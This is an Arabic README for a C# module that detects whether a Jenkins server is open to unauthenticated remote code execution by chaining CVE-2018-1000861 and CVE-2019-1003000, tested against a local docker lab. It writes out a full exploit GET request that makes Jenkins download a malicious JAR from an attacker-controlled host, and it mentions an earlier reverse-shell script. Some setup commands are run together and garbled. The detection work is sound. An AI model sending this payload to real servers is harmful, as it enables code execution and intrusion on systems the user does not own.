
وحدة C# للكشف عما إذا كان خادم Jenkins معرضًا لثغرة RCE الموجودة في CVE-2019-1003000 (مقترنة بـ CVE-2018-1000861 لـ RCE بدون مصادقة مسبقة)
من خلال ربط الثغرة CVE-2018-1000861 مع CVE-2019-1003000، قمت بإنشاء وحدة لاختبار وجود RCE بدون مصادقة على Jenkins CI. في البداية، حاولت اكتشاف الثغرة باستخدام اسم مستخدم وكلمة مرور واسم وظيفة؛ لكنني اعتقدت أنه سيكون أكثر واقعية وإثارة للاهتمام التعامل مع هذا التحدي من خلال ربط الثغرتين معًا.
قم بتثبيت Visual Studio أو إطار العمل .NET Core على جهازك الذي يعمل بنظام Windows أو Linux أو macOS.
docker pull jenkins/jenkins:2.121mvDir.sh
./mvDir.sh
chmod +x mvDir.sh. إذا لم يعمل بعد، يمكنك تشغيله كـ bash mvDir.sh./run_vuln_jenkins.sh
http://localhost:8080)./run_updated_jenkins.sh أو bash run_updated_jenkins.sh سيشغل خادم Jenkins آمن ومحدث على http://localhost:8000 وتشغيل الوحدة ضده سيظهر أنه آمن وغير معرض لـ CVE-2018-1000861 المرتبطة بـ CVE-2019-1003000.dotnet buildكان التخطيط الأولي الذي قمت به إطارًا جيدًا لكيفية التعامل مع حل المشكلة؛ ومع ذلك، أثناء العمل اكتشفت أنني كنت أجعل الكثير من العمل أكثر تعقيدًا مما يجب. قمت في البداية بإنشاء سكربت bash لتشغيل قشرة عكسية (reverse shell) إلى جهاز المضيف لإثبات RCE. لكن الهدف من هذا التحدي كان إثبات وجود الثغرة. في هذه الحالة، كان إثبات إمكانية تنفيذ RCE على Jenkins الإصدار 2.121.2 مع الإضافات التالية: Pipeline: Declarative Plugin حتى 1.3.4، Pipeline: Declarative Extension Points API حتى 1.3.4، Pipeline: Groovy Plugin حتى 2.61، Script Security Plugin حتى 1.49.
لم أكن بحاجة فعليًا إلى إنشاء قشرة عكسية وإظهار أنني أستطيع تشغيل أوامر عشوائية. بسبب ذلك، أصبح من الأسهل الكشف على كل من أنظمة Windows و .nix. بعد إجراء طلب GET، وجدت أن الصفحة ستستجيب بحالة مميزة بأنها ناجحة أو ستطبع رسالة خطأ. ولكن للتأكد من أن حالة النجاح ليست إيجابية كاذبة، قمت بإعداد خادم ويب على جهازي المضيف باستخدام python -m SimpleHTTPSever 80 وعند إطلاق طلب GET المخصص إلى ملف JAR الضار المحدد (الموجود في مجلد payload)، يمكن ملاحظة أن طلب GET يستجيب برمز حالة 200 مع المسار الصحيح لملف jar الموجود على الجهاز المحلي، مما يثبت وجود الثغرة. أدناه نموذج لطلب GET والاستجابة المقابلة. مسارات الملفات المختلفة (tw/ و www/) كل منها يحتوي على الجرة الضارة؛ إنها مجرد مسارات مختلفة يبحث الطلب عنها للعثور عليها.
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

لتشغيل الوحدة: dotnet run -- -u http://localhost:8080 -ip <host_ip_address>
http:// وإلا سيرمي البرنامج استثناء HTTP وسيتعين عليك تشغيله مرة أخرى.خيارات المعلمات
| Shortened | Longer | Description |
|---|---|---|
| -uname | --username | اسم مستخدم Jenkins |
| -p | --password | كلمة مرور مستخدم Jenkins |
| -u | --url | عنوان URL الهدف |
| -ip | --ip address | عنوان IP |
| -v | --verbose | إخراج مفصل |
لم يتم تنفيذ -p و -uname بعد لأنني أنشأت الوحدة فقط لاكتشاف RCE بدون مصادقة لأنني اعتقدت أنه سيكون أكثر واقعية لـ Detectify، لأنني أعتقد أن الماسح الضوئي للشركة سيكون موجهًا فقط إلى نطاق مستهدف (ولن يكون لديه معلمات مخصصة مثل كلمة مرور واسم مستخدم لأن ذلك سيكون أيضًا غير آمن لشركة أخرى لتقديمها لشركة أخرى حتى لو كانت تحاول تحسين وضعها الأمني).